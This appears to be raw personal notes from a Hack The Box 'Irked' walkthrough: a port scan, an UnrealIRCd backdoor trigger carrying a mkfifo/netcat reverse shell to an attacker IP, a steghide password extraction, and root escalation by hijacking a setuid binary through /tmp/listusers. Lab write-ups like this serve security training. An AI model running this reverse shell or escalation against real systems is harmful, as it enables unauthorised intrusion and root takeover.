STEGHIDE JPG

SBIN VIEWUSER TO PRIVESC

UNREALIRCD TO USER

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)

| ssh-hostkey:

| 1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)

| 2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)

| 256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)

|_ 256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)

80/tcp open http Apache httpd 2.4.10 ((Debian))

|_http-server-header: Apache/2.4.10 (Debian)

|_http-title: Site doesn't have a title (text/html).

111/tcp open rpcbind 2-4 (RPC #100000)

| rpcinfo:

| program version port/proto service

| 100000 2,3,4 111/tcp rpcbind

| 100000 2,3,4 111/udp rpcbind

| 100000 3,4 111/tcp6 rpcbind

| 100000 3,4 111/udp6 rpcbind

| 100024 1 35386/tcp6 status

| 100024 1 40236/tcp status

| 100024 1 43165/udp status

|_ 100024 1 53433/udp6 status

6697/tcp open irc UnrealIRCd

8067/tcp open irc UnrealIRCd

40236/tcp open status 1 (RPC #100024)

65534/tcp open irc UnrealIRCd

root@kali:/home/kali/Desktop/hackthebox/irked# searchsploit unrealirc

root@kali:/home/kali/Desktop/hackthebox/irked# cp /usr/share/exploitdb/exploits/linux/remote/13853.pl .

UNREAL PORT 6697

root@kali:/home/kali/Desktop/hackthebox/irked# nc irked.htb 6697

root@kali:/home/kali/Desktop/hackthebox/irked# nc -nvlp 1234

AB; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.16 1234 >/tmp/f

SHELL GAINED!!!

ircd@irked:/home/djmardov/Documents$ cat .backup

Super elite steg backup pw

UPupDOWNdownLRlrBAbaSSss

ircd@irked:/home/djmardov/Documents$

root@kali:/home/kali/Desktop/hackthebox/irked# wget http://irked.htb/irked.jpg

Apt install steghide

root@kali:/home/kali/Desktop/hackthebox/irked# steghide extract -sf irked.jpg -p UPupDOWNdownLRlrBAbaSSss

wrote extracted data to "pass.txt".

root@kali:/home/kali/Desktop/hackthebox/irked# cat "pass.txt"

Kab6h+m+bbp2J:HG

USER.TXT !!!!!!!!!!

djmardov@irked:~/Documents$ find / -perm -u=s -type f 2>/dev/null

/usr/lib/dbus-1.0/dbus-daemon-launch-helper

/usr/lib/eject/dmcrypt-get-device

/usr/lib/policykit-1/polkit-agent-helper-1

/usr/lib/openssh/ssh-keysign

/usr/lib/spice-gtk/spice-client-glib-usb-acl-helper

/usr/sbin/exim4

/usr/sbin/pppd

/usr/bin/chsh

/usr/bin/procmail

/usr/bin/gpasswd

/usr/bin/newgrp

/usr/bin/at

/usr/bin/pkexec

/usr/bin/X

/usr/bin/passwd

/usr/bin/chfn

/usr/bin/viewuser

/sbin/mount.nfs

/bin/su

/bin/mount

/bin/fusermount

/bin/ntfs-3g

/bin/umount

djmardov@irked:~/Documents$ ls -l /usr/bin/viewuser

-rwsr-xr-x 1 root root 7328 May 16 2018 /usr/bin/viewuser

djmardov@irked:~/Documents$ /usr/bin/viewuser

This application is being devleoped to set and test user permissions

It is still being actively developed

(unknown) :0   2020-06-22 14:15 (:0)

sh: 1: /tmp/listusers: not found

djmardov@irked:~/Documents$ cd /tmp/

djmardov@irked:/tmp$ nano listusers

cat listusers

/bin/sh

djmardov@irked:/tmp$ chmod 700 listusers

djmardov@irked:/tmp$ /usr/bin/viewuser

echo id > /tmp/listusers
/usr/bin/viewuser
chmod 755 listusers
/usr/bin/viewuser

echo /bin/bash >> listusers
/usr/bin/viewuser
whoami

ROOOOOT!!!!!